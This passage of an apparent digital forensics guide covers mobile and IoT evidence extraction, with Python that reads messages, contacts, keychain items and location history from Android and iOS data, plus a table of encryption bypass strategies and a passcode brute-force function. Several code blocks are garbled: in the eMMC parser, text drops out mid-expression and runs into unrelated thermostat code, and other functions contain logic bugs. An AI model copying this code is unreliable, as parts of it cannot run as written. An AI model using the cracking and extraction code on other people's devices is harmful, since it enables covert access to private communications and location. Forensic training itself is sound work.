\n    conn = sqlite3.connect(contacts_db)\n    cursor = conn.cursor()\n    \n    contacts = []\n    \n    # Query contacts\n    cursor.execute(\"\"\"\n        SELECT display_name, data1, data2, data3\n        FROM view_contacts\n        WHERE display_name IS NOT NULL\n    \"\"\")\n    \n    for row in cursor.fetchall():\n        contact = {\n            'name': row[0],\n            'phone': row[1],\n            'type': row[2],\n            'label': row[3]\n        }\n        contacts.append(contact)\n    \n    conn.close()\n    return contacts\n\ndef analyze_android_call_logs(call_logs_db):\n    \"\"\"Analyze Android call logs\"\"\"\n    \n    conn = sqlite3.connect(call_logs_db)\n    cursor = conn.cursor()\n    \n    calls = []\n    \n    cursor.execute(\"\"\"\n        SELECT number, date, duration, type, name\n        FROM calls\n        ORDER BY date DESC\n    \"\"\")\n    \n    for row in cursor.fetchall():\n        # Call type: 1=incoming, 2=outgoing, 3=missed\n        call_type = ['Unknown', 'Incoming', 'Outgoing', 'Missed'][row[3]] if row[3] <= 3 else 'Unknown'\n        \n        calls.append({\n            'number': row[0],\n            'date': datetime.fromtimestamp(int(row[1]) / 1000) if row[1] else None,\n            'duration': row[2],\n            'type': call_type,\n            'contact_name': row[4]\n        })\n    \n    conn.close()\n    return calls\n```\n\n#### Android App Data Analysis\n\n```python\ndef analyze_whatsapp(whatsapp_db):\n    \"\"\"Analyze WhatsApp database\"\"\"\n    \n    conn = sqlite3.connect(whatsapp_db)\n    cursor = conn.cursor()\n    \n    messages = []\n    \n    # Get messages\n    cursor.execute(\"\"\"\n        SELECT chat_list.key_remote_jid, messages.timestamp, \n               messages.data, messages.media_url, messages.media_mime_type,\n               messages.received_timestamp, messages.sender_jid\n        FROM messages\n        JOIN chat_list ON messages.chat_row_id = chat_list._id\n        ORDER BY messages.timestamp DESC\n    \"\"\")\n    \n    for row in cursor.fetchall():\n        messages.append({\n            'chat': row[0],\n            'timestamp': datetime.fromtimestamp(int(row[1]) / 1000) if row[1] else None,\n            'message': row[2],\n            'media_url': row[3],\n            'media_type': row[4],\n            'received_time': datetime.fromtimestamp(int(row[5]) / 1000) if row[5] else None,\n            'sender': row[6]\n        })\n    \n    # Get contacts\n    cursor.execute(\"SELECT jid, display_name, phone FROM wa_contacts\")\n    contacts = cursor.fetchall()\n    \n    conn.close()\n    \n    return {\n        'messages': messages,\n        'contacts': contacts\n    }\n\ndef recover_deleted_whatsapp(whatsapp_db):\n    \"\"\"Attempt recovery of deleted WhatsApp messages\"\"\"\n    \n    # WhatsApp uses SQLite with write-ahead logging\n    # Deleted messages may remain in WAL file\n    \n    wal_file = whatsapp_db + '-wal'\n    \n    if os.path.exists(wal_file):\n        with open(wal_file, 'rb') as f:\n            data = f.read()\n        \n        # Look for message patterns\n        import re\n        message_pattern = re.compile(b'[^\\x00]{5,200}')  # Non-null strings\n        \n        potential_messages = []\n        for match in message_pattern.finditer(data):\n            try:\n                msg = match.group().decode('utf-8', errors='ignore')\n                if len(msg) > 10:\n                    potential_messages.append(msg)\n            except:\n                continue\n        \n        return potential_messages\n    \n    return []\n```\n\n---\n\n### 13.3 iOS Acquisition\n\niOS devices present significant challenges due to strong encryption and security features.\n\n#### iOS File System\n\n```\n/               - Root filesystem (read-only)\n/private/var/   - User data and apps\n/private/var/mobile/ - Mobile user home\n/private/var/mobile/Applications/ - Third-party apps (iOS 9 and earlier)\n/private/var/mobile/Containers/ - App containers (iOS 10+)\n/private/var/mobile/Library/ - User data\n/private/var/keychains/ - Keychain data\n```\n\n#### iOS Acquisition Methods\n\n| Method | Requirements | Data Obtained | Limitations |\n|--------|--------------|---------------|-------------|\n| **Logical** | Device unlocked | Media, contacts, messages | No deleted data |\n| **Backup** | Password (maybe) | Most user data | Encrypted backups |\n| **Physical** | Jailbreak required | Full file system | Breaks device |\n| **iCloud** | Apple ID credentials | Cloud data | Incomplete |\n| **Checkm8** | A5-A11 devices | Full physical | Hardware exploit |\n\n#### iOS Backup Analysis\n\n```python\nimport plistlib\nimport sqlite3\nimport os\nfrom datetime import datetime\n\ndef parse_ios_backup(backup_path):\n    \"\"\"Parse iOS backup directory\"\"\"\n    \n    # iOS backup structure:\n    # Info.plist - Backup information\n    # Manifest.plist - File listing\n    # Status.plist - Backup status\n    # [file_hash] - Actual files (40-character hex names)\n    \n    backup_info = {}\n    \n    # Read Info.plist\n    info_path = os.path.join(backup_path, 'Info.plist')\n    if os.path.exists(info_path):\n        with open(info_path, 'rb') as f:\n            backup_info['info'] = plistlib.load(f)\n    \n    # Read Manifest.plist\n    manifest_path = os.path.join(backup_path, 'Manifest.plist')\n    if os.path.exists(manifest_path):\n        with open(manifest_path, 'rb') as f:\n            manifest = plistlib.load(f)\n            backup_info['manifest'] = manifest\n            \n            # Get backup info\n            backup_info['device_name'] = manifest.get('Lockdown', {}).get('DeviceName')\n            backup_info['product_type'] = manifest.get('Lockdown', {}).get('ProductType')\n            backup_info['product_version'] = manifest.get('Lockdown', {}).get('ProductVersion')\n            backup_info['serial'] = manifest.get('Lockdown', {}).get('SerialNumber')\n            backup_info['backup_time'] = manifest.get('Date')\n    \n    return backup_info\n\ndef extract_ios_sms(backup_path):\n    \"\"\"Extract SMS from iOS backup\"\"\"\n    \n    # SMS database location in backup\n    # sms.db is stored with a hash name\n    \n    # Find sms.db\n    sms_db = None\n    for root, dirs, files in os.walk(backup_path):\n        for file in files:\n            if file.endswith('3d0d7e5fb2ce288813306e4d4636395e047a3d28'):  # sms.db hash\n                sms_db = os.path.join(root, file)\n                break\n    \n    if not sms_db:\n        return []\n    \n    conn = sqlite3.connect(sms_db)\n    cursor = conn.cursor()\n    \n    messages = []\n    \n    # iOS stores dates as Mac Absolute Time (seconds since 2001-01-01)\n    def mac_abs_to_datetime(mac_abs):\n        if mac_abs:\n            return datetime(2001, 1, 1) + timedelta(seconds=mac_abs)\n        return None\n    \n    cursor.execute(\"\"\"\n        SELECT message.rowid, message.date, message.text, \n               message.is_from_me, message.cache_has_attachments,\n               handle.id as contact, chat.chat_identifier\n        FROM message\n        LEFT JOIN handle ON message.handle_id = handle.ROWID\n        LEFT JOIN chat_message_join ON message.ROWID = chat_message_join.message_id\n        LEFT JOIN chat ON chat_message_join.chat_id = chat.ROWID\n        ORDER BY message.date DESC\n    \"\"\")\n    \n    for row in cursor.fetchall():\n        messages.append({\n            'id': row[0],\n            'date': mac_abs_to_datetime(row[1]),\n            'text': row[2],\n            'is_from_me': bool(row[3]),\n            'has_attachments': bool(row[4]),\n            'contact': row[5],\n            'chat': row[6]\n        })\n    \n    conn.close()\n    return messages\n\ndef extract_ios_contacts(backup_path):\n    \"\"\"Extract contacts from iOS backup\"\"\"\n    \n    # Contacts database: 31bb7ba8914766d4ba40d6dfb6113c8b614be442\n    contacts_db = None\n    \n    for root, dirs, files in os.walk(backup_path):\n        for file in files:\n            if file == '31bb7ba8914766d4ba40d6dfb6113c8b614be442':\n                contacts_db = os.path.join(root, file)\n                break\n    \n    if not contacts_db:\n        return []\n    \n    conn = sqlite3.connect(contacts_db)\n    cursor = conn.cursor()\n    \n    contacts = []\n    \n    cursor.execute(\"\"\"\n        SELECT ABPerson.ROWID, First, Last, Organization,\n               ABMultiValue.value, ABMultiValue.label\n        FROM ABPerson\n        LEFT JOIN ABMultiValue ON ABPerson.ROWID = ABMultiValue.record_id\n        WHERE ABMultiValue.property = 3  -- Phone numbers\n    \"\"\")\n    \n    for row in cursor.fetchall():\n        contact = {\n            'id': row[0],\n            'first_name': row[1],\n            'last_name': row[2],\n            'organization': row[3],\n            'phone': row[4],\n            'phone_label': row[5]\n        }\n        contacts.append(contact)\n    \n    conn.close()\n    return contacts\n```\n\n#### iOS Keychain Analysis\n\n```python\ndef extract_ios_keychain(backup_path):\n    \"\"\"Extract keychain data from iOS backup\"\"\"\n    \n    # Keychain database: keychain-2.db\n    keychain_db = None\n    \n    for root, dirs, files in os.walk(backup_path):\n        for file in files:\n            if file == 'keychain-2.db':\n                keychain_db = os.path.join(root, file)\n                break\n    \n    if not keychain_db:\n        return []\n    \n    conn = sqlite3.connect(keychain_db)\n    cursor = conn.cursor()\n    \n    items = []\n    \n    cursor.execute(\"\"\"\n        SELECT agrp, cdat, mdat, desc, labl, \n               acct, data, svce, ptcl, port\n        FROM genp  -- Generic passwords\n        UNION\n        SELECT agrp, cdat, mdat, desc, labl,\n               acct, data, svce, ptcl, port\n        FROM inet  -- Internet passwords\n    \"\"\")\n    \n    for row in cursor.fetchall():\n        items.append({\n            'group': row[0],\n            'created': row[1],\n            'modified': row[2],\n            'description': row[3],\n            'label': row[4],\n            'account': row[5],\n            'data': row[6],  # Encrypted\n            'service': row[7],\n            'protocol': row[8],\n            'port': row[9]\n        })\n    \n    conn.close()\n    return items\n```\n\n---\n\n### 13.4 Encrypted Device Challenges\n\nModern mobile devices are encrypted by default, creating significant forensic challenges.\n\n#### iOS Encryption\n\n```\nHardware: AES-256 engine in Secure Enclave\nFile-level: Per-file keys wrapped with class keys\nClass keys: Protected by user passcode\n```\n\n**iOS Data Protection Classes:**\n\n| Class | Description | Availability |\n|-------|-------------|--------------|\n| **NSFileProtectionComplete** | File only accessible when device unlocked | Device locked = inaccessible |\n| **NSFileProtectionCompleteUnlessOpen** | File can be accessed while open after unlock | Open files remain accessible |\n| **NSFileProtectionCompleteUntilFirstUserAuthentication** | Accessible after first unlock until shutdown | Most system files |\n| **NSFileProtectionNone** | No protection | Some caches |\n\n#### Android Encryption\n\n```\nFull Disk Encryption (FDE): Encrypts entire /data partition\nFile-Based Encryption (FBE): Different keys for different files\nDirect Boot: Some files accessible before user unlocks\n```\n\n#### Bypass Strategies\n\n| Technique | Success Rate | Requirements |\n|-----------|--------------|--------------|\n| **Passcode cracking** | Low (iOS) / Medium (Android) | Time, hardware |\n| **Forensic tools** | Medium | Expensive tools |\n| **Vulnerability exploit** | High | Specific iOS/Android versions |\n| **Chip-off** | High | Specialized equipment |\n| **Cloud extraction** | Medium | User credentials |\n| **Social engineering** | Variable | User cooperation |\n\n#### Passcode Extraction Attempt\n\n```python\nimport hashlib\nimport itertools\nfrom datetime import datetime\n\ndef brute_force_android_passcode(passwd_file, max_length=4):\n    \"\"\"Attempt to brute force Android passcode\"\"\"\n    \n    # Android stores password as SHA1 hash\n    with open(passwd_file, 'rb') as f:\n        target_hash = f.read().hex()\n    \n    # Common patterns\n    patterns = [\n        '1234', '0000', '1111', '1212', '123456',\n        'password', 'admin', '000000', '111111'\n    ]\n    \n    # Try common patterns first\n    for pattern in patterns:\n        hash_value = hashlib.sha1(pattern.encode()).hexdigest()\n        if hash_value == target_hash:\n            return pattern\n    \n    # Brute force digits\n    chars = '0123456789'\n    \n    for length in range(1, max_length + 1):\n        for combo in itertools.product(chars, repeat=length):\n            attempt = ''.join(combo)\n            hash_value = hashlib.sha1(attempt.encode()).hexdigest()\n            if hash_value == target_hash:\n                return attempt\n            \n            # Progress indicator for long runs\n            if int(combo[0]) % 100 == 0:\n                print(f\"Trying {attempt}\")\n    \n    return None\n\ndef check_ios_passcode(backup_path, passcode):\n    \"\"\"Check if passcode works for iOS backup\"\"\"\n    \n    # iOS encrypted backups use passcode to derive key\n    manifest_path = os.path.join(backup_path, 'Manifest.plist')\n    \n    with open(manifest_path, 'rb') as f:\n        manifest = plistlib.load(f)\n    \n    # Check if backup is encrypted\n    if manifest.get('IsEncrypted'):\n        # Would need to attempt decryption\n        # This is complex - uses PBKDF2 with salt and iterations\n        pass\n    \n    return False\n```\n\n---\n\n### 13.5 Messaging App Investigations\n\nMessaging apps contain rich evidence including messages, media, and metadata.\n\n#### WhatsApp Artifacts\n\n```python\ndef analyze_whatsapp_full(whatsapp_path):\n    \"\"\"Comprehensive WhatsApp analysis\"\"\"\n    \n    analysis = {\n        'messages': [],\n        'media': [],\n        'contacts': [],\n        'calls': [],\n        'status': [],\n        'settings': {}\n    }\n    \n    # Messages database\n    msg_db = os.path.join(whatsapp_path, 'Databases', 'msgstore.db')\n    if os.path.exists(msg_db):\n        conn = sqlite3.connect(msg_db)\n        cursor = conn.cursor()\n        \n        # Get all messages with details\n        cursor.execute(\"\"\"\n            SELECT chat_view.chat_name, messages.timestamp,\n                   messages.data, messages.media_url,\n                   messages.media_size, messages.media_mime_type,\n                   messages.received_timestamp, messages.sender_jid,\n                   messages.starred, messages.forwarded\n            FROM messages\n            LEFT JOIN chat_view ON messages.chat_row_id = chat_view._id\n            ORDER BY messages.timestamp DESC\n        \"\"\")\n        \n        for row in cursor.fetchall():\n            analysis['messages'].append({\n                'chat': row[0],\n                'timestamp': datetime.fromtimestamp(int(row[1]) / 1000) if row[1] else None,\n                'text': row[2],\n                'media_url': row[3],\n                'media_size': row[4],\n                'media_type': row[5],\n                'received_time': datetime.fromtimestamp(int(row[6]) / 1000) if row[6] else None,\n                'sender': row[7],\n                'starred': bool(row[8]),\n                'forwarded': bool(row[9])\n            })\n        \n        # Get contacts\n        cursor.execute(\"SELECT jid, display_name, phone FROM wa_contacts\")\n        analysis['contacts'] = [\n            {'jid': r[0], 'name': r[1], 'phone': r[2]}\n            for r in cursor.fetchall()\n        ]\n        \n        # Get calls\n        cursor.execute(\"\"\"\n            SELECT jid, timestamp, duration, call_result\n            FROM wa_calls\n            ORDER BY timestamp DESC\n        \"\"\")\n        \n        analysis['calls'] = [\n            {\n                'contact': r[0],\n                'time': datetime.fromtimestamp(int(r[1]) / 1000) if r[1] else None,\n                'duration': r[2],\n                'result': r[3]\n            }\n            for r in cursor.fetchall()\n        ]\n        \n        conn.close()\n    \n    # Media files\n    media_path = os.path.join(whatsapp_path, 'Media')\n    if os.path.exists(media_path):\n        for root, dirs, files in os.walk(media_path):\n            for file in files:\n                file_path = os.path.join(root, file)\n                stat = os.stat(file_path)\n                analysis['media'].append({\n                    'path': file_path,\n                    'size': stat.st_size,\n                    'created': datetime.fromtimestamp(stat.st_ctime),\n                    'modified': datetime.fromtimestamp(stat.st_mtime)\n                })\n    \n    return analysis\n```\n\n#### Telegram Artifacts\n\n```python\ndef analyze_telegram(telegram_path):\n    \"\"\"Analyze Telegram application data\"\"\"\n    \n    analysis = {\n        'messages': [],\n        'chats': [],\n        'users': [],\n        'media': []\n    }\n    \n    # Telegram uses multiple databases\n    # cache4.db - Main database\n    cache_db = os.path.join(telegram_path, 'cache4.db')\n    \n    if os.path.exists(cache_db):\n        conn = sqlite3.connect(cache_db)\n        cursor = conn.cursor()\n        \n        # Get messages\n        try:\n            cursor.execute(\"\"\"\n                SELECT messages.mid, messages.uid, messages.date,\n                       messages.message, messages.media, messages.out,\n                       users.uid, users.first_name, users.last_name, users.phone\n                FROM messages\n                LEFT JOIN users ON messages.uid = users.uid\n                ORDER BY messages.date DESC\n            \"\"\")\n            \n            for row in cursor.fetchall():\n                analysis['messages'].append({\n                    'id': row[0],\n                    'chat_id': row[1],\n                    'date': datetime.fromtimestamp(row[2]) if row[2] else None,\n                    'text': row[3],\n                    'media': row[4],\n                    'outgoing': bool(row[5]),\n                    'sender_uid': row[6],\n                    'sender_name': f\"{row[7] or ''} {row[8] or ''}\".strip(),\n                    'sender_phone': row[9]\n                })\n        except:\n            pass\n        \n        conn.close()\n    \n    return analysis\n```\n\n#### Signal Artifacts\n\n```python\ndef analyze_signal(signal_path):\n    \"\"\"Analyze Signal application data\"\"\"\n    \n    analysis = {\n        'messages': [],\n        'contacts': [],\n        'groups': []\n    }\n    \n    # Signal database\n    signal_db = os.path.join(signal_path, 'signal.sqlite')\n    \n    if os.path.exists(signal_db):\n        conn = sqlite3.connect(signal_db)\n        cursor = conn.cursor()\n        \n        # Get messages\n        cursor.execute(\"\"\"\n            SELECT m.date, m.body, m.type, m.thread_id,\n                   r.display_name, r.phone\n            FROM mms m\n            LEFT JOIN recipient r ON m.address = r.recipient_id\n            ORDER BY m.date DESC\n        \"\"\")\n        \n        for row in cursor.fetchall():\n            # Signal dates are in milliseconds\n            date = datetime.fromtimestamp(int(row[0]) / 1000) if row[0] else None\n            \n            # Message type: 1=incoming, 2=outgoing, etc.\n            msg_type = 'incoming' if row[2] == 1 else 'outgoing' if row[2] == 2 else 'other'\n            \n            analysis['messages'].append({\n                'date': date,\n                'body': row[1],\n                'type': msg_type,\n                'thread': row[3],\n                'contact_name': row[4],\n                'contact_phone': row[5]\n            })\n        \n        conn.close()\n    \n    return analysis\n```\n\n---\n\n### 13.6 Location Data Forensics\n\nMobile devices store extensive location data from multiple sources.\n\n#### Location Sources\n\n| Source | Accuracy | Persistence |\n|--------|----------|-------------|\n| **GPS** | High (3-5m) | When app requests |\n| **WiFi** | Medium (20-50m) | Historical scans |\n| **Cell Towers** | Low (100m-1km) | Connection logs |\n| **Bluetooth** | High (1-10m) | Device discovery |\n| **IP Geolocation** | Very low | Network connections |\n\n#### Android Location Data\n\n```python\ndef analyze_android_location(location_db):\n    \"\"\"Analyze Android location history\"\"\"\n    \n    locations = []\n    \n    # Android stores location in multiple places\n    \n    # 1. Fused Location Provider\n    fused_db = os.path.join(location_db, 'fused_location.db')\n    if os.path.exists(fused_db):\n        conn = sqlite3.connect(fused_db)\n        cursor = conn.cursor()\n        \n        try:\n            cursor.execute(\"\"\"\n                SELECT timestamp, latitude, longitude, accuracy, provider\n                FROM locations\n                ORDER BY timestamp DESC\n            \"\"\")\n            \n            for row in cursor.fetchall():\n                locations.append({\n                    'timestamp': datetime.fromtimestamp(int(row[0]) / 1000) if row[0] else None,\n                    'latitude': row[1] / 1e7,  # Stored as microdegrees\n                    'longitude': row[2] / 1e7,\n                    'accuracy': row[3],\n                    'provider': row[4],\n                    'source': 'fused'\n                })\n        except:\n            pass\n        \n        conn.close()\n    \n    # 2. Google Location History (if enabled)\n    google_db = os.path.join(location_db, 'google_location_history.db')\n    if os.path.exists(google_db):\n        conn = sqlite3.connect(google_db)\n        cursor = conn.cursor()\n        \n        try:\n            cursor.execute(\"\"\"\n                SELECT timestamp, latitude, longitude, accuracy\n                FROM location_history\n                ORDER BY timestamp DESC\n            \"\"\")\n            \n            for row in cursor.fetchall():\n                locations.append({\n                    'timestamp': datetime.fromtimestamp(int(row[0]) / 1000) if row[0] else None,\n                    'latitude': row[1],\n                    'longitude': row[2],\n                    'accuracy': row[3],\n                    'provider': 'google',\n                    'source': 'google'\n                })\n        except:\n            pass\n        \n        conn.close()\n    \n    return locations\n\ndef analyze_wifi_history(wifi_config):\n    \"\"\"Analyze WiFi connection history\"\"\"\n    \n    # Android stores WiFi info in wpa_supplicant.conf\n    networks = []\n    \n    if os.path.exists(wifi_config):\n        with open(wifi_config, 'r') as f:\n            lines = f.readlines()\n        \n        current_network = {}\n        for line in lines:\n            line = line.strip()\n            \n            if line.startswith('network='):\n                if current_network:\n                    networks.append(current_network)\n                current_network = {}\n            elif '=' in line and current_network is not None:\n                key, value = line.split('=', 1)\n                current_network[key] = value.strip('\"')\n        \n        if current_network:\n            networks.append(current_network)\n    \n    return networks\n```\n\n#### iOS Location Data\n\n```python\ndef analyze_ios_location(backup_path):\n    \"\"\"Analyze iOS location data from backup\"\"\"\n    \n    locations = []\n    \n    # Cache files containing location data\n    location_files = [\n        'consolidated.db',  # Location cache\n        'cache_encryptedA.db',  # Encrypted cache\n        'Routines.mapsdata'  # Significant locations\n    ]\n    \n    for file_hash in location_files:\n        for root, dirs, files in os.walk(backup_path):\n            for file in files:\n                if file == file_hash:\n                    db_path = os.path.join(root, file)\n                    \n                    try:\n                        conn = sqlite3.connect(db_path)\n                        cursor = conn.cursor()\n                        \n                        # Try common location tables\n                        tables = ['WifiLocation', 'CellLocation', 'Location']\n                        \n                        for table in tables:\n                            try:\n                                cursor.execute(f\"SELECT * FROM {table}\")\n                                \n                                # Get column names\n                                cursor.execute(f\"PRAGMA table_info({table})\")\n                                columns = [col[1] for col in cursor.fetchall()]\n                                \n                                for row in cursor.fetchall():\n                                    loc = dict(zip(columns, row))\n                                    \n                                    # Convert timestamps\n                                    if 'timestamp' in loc:\n                                        try:\n                                            loc['timestamp'] = datetime(2001, 1, 1) + timedelta(seconds=float(loc['timestamp']))\n                                        except:\n                                            pass\n                                    \n                                    loc['source'] = table\n                                    locations.append(loc)\n                            except:\n                                continue\n                        \n                        conn.close()\n                    except:\n                        continue\n    \n    return locations\n```\n\n#### Location Timeline Creation\n\n```python\ndef create_location_timeline(android_locs, ios_locs, wifi_networks):\n    \"\"\"Create comprehensive location timeline\"\"\"\n    \n    timeline = []\n    \n    # Add Android locations\n    for loc in android_locs:\n        if loc['timestamp']:\n            timeline.append({\n                'timestamp': loc['timestamp'],\n                'type': 'gps',\n                'latitude': loc['latitude'],\n                'longitude': loc['longitude'],\n                'accuracy': loc.get('accuracy', 'Unknown'),\n                'source': loc.get('source', 'Android')\n            })\n    \n    # Add iOS locations\n    for loc in ios_locs:\n        if 'timestamp' in loc and loc['timestamp']:\n            timeline.append({\n                'timestamp': loc['timestamp'],\n                'type': 'location',\n                'latitude': loc.get('latitude', loc.get('Latitude', 'Unknown')),\n                'longitude': loc.get('longitude', loc.get('Longitude', 'Unknown')),\n                'source': loc.get('source', 'iOS'),\n                'raw': loc\n            })\n    \n    # Add WiFi connections as location approximations\n    for wifi in wifi_networks:\n        # Would need to geolocate BSSID\n        pass\n    \n    # Sort by timestamp\n    timeline.sort(key=lambda x: x['timestamp'])\n    \n    return timeline\n\ndef geolocate_wifi(bssid):\n    \"\"\"Approximate location from WiFi BSSID\"\"\"\n    \n    # In practice, use Wigle.net API or similar\n    # This is a simplified example\n    \n    import requests\n    \n    # Wigle.net API (would need credentials)\n    # api_url = f\"https://api.wigle.net/api/v2/network/detail?netid={bssid}\"\n    \n    # Mock response\n    return {\n        'bssid': bssid,\n        'latitude': 37.7749,  # Example\n        'longitude': -122.4194,\n        'accuracy': 'approximate'\n    }\n```\n\n---\n\n## Chapter 14 \u2013 IoT & Embedded Forensics\n\n---\n\n### 14.1 Introduction to IoT Forensics\n\nInternet of Things (IoT) devices are increasingly common and can provide critical evidence in investigations.\n\n#### IoT Device Categories\n\n| Category | Examples | Forensic Value |\n|----------|----------|----------------|\n| **Smart Home** | Thermostats, lights, locks | Presence, activity |\n| **Wearables** | Smartwatches, fitness trackers | Health, location |\n| **Voice Assistants** | Alexa, Google Home | Conversations, commands |\n| **Cameras** | Security cameras, doorbells | Visual evidence |\n| **Vehicles** | Connected cars | Location, speed, events |\n| **Medical Devices** | Pacemakers, insulin pumps | Health data |\n\n#### IoT Forensic Challenges\n\n```\n1. DIVERSITY: Thousands of devices, no standards\n2. DATA FORMATS: Proprietary storage and protocols\n3. ENCRYPTION: Often encrypted or obfuscated\n4. VOLATILITY: Data may be overwritten quickly\n5. CLOUD DEPENDENCE: Data stored in manufacturer cloud\n6. PHYSICAL ACCESS: May require disassembly\n7. LEGAL: Ownership and privacy issues\n```\n\n---\n\n### 14.2 Firmware Extraction\n\nFirmware analysis is often the first step in IoT forensics.\n\n#### Extraction Methods\n\n| Method | Description | Tools |\n|--------|-------------|-------|\n| **Software** | Read from running device | SSH, ADB, custom exploits |\n| **SPI Flash** | Read flash chip via SPI | Bus Pirate, Flashrom |\n| **JTAG/SWD** | Debug interface access | OpenOCD, J-Link |\n| **Chip-off** | Remove and read chip | Hot air, programmer |\n| **Update Files** | Extract from manufacturer updates | Binwalk, firmware-mod-kit |\n\n#### SPI Flash Reading\n\n```python\nimport serial\nimport time\n\ndef read_spi_flash(port, baudrate=115200, size_mb=16):\n    \"\"\"Read SPI flash via serial connection\"\"\"\n    \n    ser = serial.Serial(port, baudrate, timeout=1)\n    \n    # Send read command (example - varies by device)\n    ser.write(b'read_flash\\r')\n    time.sleep(1)\n    \n    # Read data\n    data = b''\n    bytes_to_read = size_mb * 1024 * 1024\n    \n    while len(data) < bytes_to_read:\n        chunk = ser.read(4096)\n        if not chunk:\n            break\n        data += chunk\n        print(f\"Read {len(data)} / {bytes_to_read} bytes\")\n    \n    ser.close()\n    return data\n\ndef parse_flash_data(data):\n    \"\"\"Parse raw flash dump\"\"\"\n    \n    import binwalk\n    \n    # Run binwalk to identify file systems\n    modules = binwalk.scan(data)\n    \n    results = []\n    for module in modules:\n        for result in module.results:\n            results.append({\n                'offset': result.offset,\n                'description': result.description,\n                'size': getattr(result, 'size', 'Unknown')\n            })\n    \n    return results\n```\n\n#### JTAG Debugging\n\n```python\ndef setup_jtag_connection(interface='jlink', device='cortex-m'):\n    \"\"\"Setup JTAG connection using OpenOCD\"\"\"\n    \n    import subprocess\n    \n    # OpenOCD configuration\n    config = f\"\"\"\n    interface {interface}\n    transport select swd\n    adapter speed 1000\n    source [find target/{device}.cfg]\n    \n    init\n    halt\n    \"\"\"\n    \n    with open('openocd.cfg', 'w') as f:\n        f.write(config)\n    \n    # Start OpenOCD\n    process = subprocess.Popen(\n        ['openocd', '-f', 'openocd.cfg'],\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE\n    )\n    \n    # Connect via telnet\n    import telnetlib\n    tn = telnetlib.Telnet('localhost', 4444)\n    \n    return tn, process\n\ndef read_memory_jtag(tn, address, size):\n    \"\"\"Read memory via JTAG\"\"\"\n    \n    tn.write(f\"mdw {address} {size}\\n\".encode())\n    result = tn.read_until(b'>').decode()\n    \n    return result\n```\n\n#### Firmware Analysis\n\n```python\ndef analyze_firmware(firmware_file):\n    \"\"\"Comprehensive firmware analysis\"\"\"\n    \n    import hashlib\n    import subprocess\n    import tempfile\n    import os\n    \n    analysis = {\n        'hashes': {},\n        'strings': [],\n        'filesystems': [],\n        'binwalk_results': [],\n        'interesting_strings': []\n    }\n    \n    # Calculate hashes\n    with open(firmware_file, 'rb') as f:\n        data = f.read()\n        analysis['hashes']['md5'] = hashlib.md5(data).hexdigest()\n        analysis['hashes']['sha1'] = hashlib.sha1(data).hexdigest()\n        analysis['hashes']['sha256'] = hashlib.sha256(data).hexdigest()\n    \n    # Extract strings\n    result = subprocess.run(\n        ['strings', '-n', '8', firmware_file],\n        capture_output=True,\n        text=True\n    )\n    analysis['strings'] = result.stdout.split('\\n')\n    \n    # Find interesting strings\n    interesting = ['password', 'admin', 'root', 'key', 'token', 'secret',\n                   'http://', 'https://', '192.168.', '10.0.', 'api.',\n                   'firmware', 'update', 'debug', 'vulnerability']\n    \n    for s in analysis['strings']:\n        for i in interesting:\n            if i in s.lower():\n                analysis['interesting_strings'].append(s)\n                break\n    \n    # Run binwalk\n    with tempfile.TemporaryDirectory() as tmpdir:\n        result = subprocess.run(\n            ['binwalk', '-e', '--directory', tmpdir, firmware_file],\n            capture_output=True,\n            text=True\n        )\n        \n        analysis['binwalk_results'] = result.stdout.split('\\n')\n        \n        # List extracted files\n        for root, dirs, files in os.walk(tmpdir):\n            for file in files:\n                file_path = os.path.join(root, file)\n                analysis['filesystems'].append({\n                    'path': file_path,\n                    'size': os.path.getsize(file_path)\n                })\n    \n    return analysis\n```\n\n---\n\n### 14.3 Chip-Off Techniques\n\nChip-off forensics involves physically removing memory chips from devices for analysis.\n\n#### Chip-Off Process\n\n```\n1. IDENTIFICATION: Identify chip type and pinout\n2. REMOVAL: Heat and carefully remove chip\n3. CLEANING: Remove residual solder\n4. PROGRAMMING: Read chip with programmer\n5. ANALYSIS: Parse extracted data\n6. REBALLING: Optional, for reinstallation\n```\n\n#### Equipment Needed\n\n```\n- Hot air rework station (temperature controlled)\n- Soldering iron with fine tips\n- Flux and solder wick\n- Chip programmer (e.g., RT809H, TL866)\n- Adapters for different packages (TSOP, BGA, QFP)\n- Microscope\n- Anti-static workstation\n```\n\n#### Reading Memory Chips\n\n```python\ndef read_nor_flash(programmer, chip_type):\n    \"\"\"Read NOR flash chip\"\"\"\n    \n    # Example using flashrom\n    import subprocess\n    \n    # Identify chip\n    result = subprocess.run(\n        ['flashrom', '-p', programmer, '--identify'],\n        capture_output=True,\n        text=True\n    )\n    \n    # Read chip\n    result = subprocess.run(\n        ['flashrom', '-p', programmer, '-r', 'flash_dump.bin'],\n        capture_output=True,\n        text=True\n    )\n    \n    if result.returncode == 0:\n        with open('flash_dump.bin', 'rb') as f:\n            data = f.read()\n        return data\n    \n    return None\n\ndef parse_emmc(emmc_dump):\n    \"\"\"Parse eMMC chip dump\"\"\"\n    \n    # eMMC contains multiple partitions\n    # Boot1, Boot2, RPMB, User area, GP partitions\n    \n    import struct\n    \n    # Look for partition table\n    # GPT is common\n    gpt_signature = b'EFI PART'\n    \n    partitions = []\n    \n    # Search for GPT headers\n    for offset in range(0, len(emmc_dump) - 512, 512):\n        if emmc_dump[offset:offset+8] == gpt_signature:\n            # Found GPT header\n            partition_entry_lba = struct.unpack(' len(emmc_dump):\n                    break\n                \n                # Check if entry is in use\n                part_type = emmc_dump[entry_offset:entry_offset+16]\n                if any(part_type):\n                    # Extract partition name\n                    name_bytes = emmc_dump[entry_offset+56:entry_offset+72]\n                    name = name_bytes.decode('utf-16le').strip('\\x00')\n                    \n                    partitions.append({\n                        'name': name,\n                        'start': struct.unpack(' 2:\n            # Check time of day\n            hour = curr['timestamp'].hour if hasattr(curr['timestamp'], 'hour') else 0\n            \n            occupancy.append({\n                'time': curr['timestamp'],\n                'event': 'temperature_change',\n                'change': curr['temperature'] - prev['temperature'],\n                'likely_occupied': 7 <= hour <= 22  # Daytime hours\n            })\n    \n    return occupancy\n```\n\n#### Smart Lock Forensics\n\n```python\ndef analyze_smart_lock(lock_data):\n    \"\"\"Analyze smart lock access logs\"\"\"\n    \n    access_logs = []\n    \n    # Parse lock access logs\n    if 'events' in lock_data:\n        for event in lock_data['events']:\n            access_logs.append({\n                'timestamp': event.get('time'),\n                'user': event.get('user'),\n                'method': event.get('method'),  # key, code, app, etc.\n                'action': event.get('action'),  # lock, unlock\n                'status': event.get('status'),\n                'battery': event.get('battery')\n            })\n    \n    # Sort by time\n    access_logs.sort(key=lambda x: x.get('timestamp', ''))\n    \n    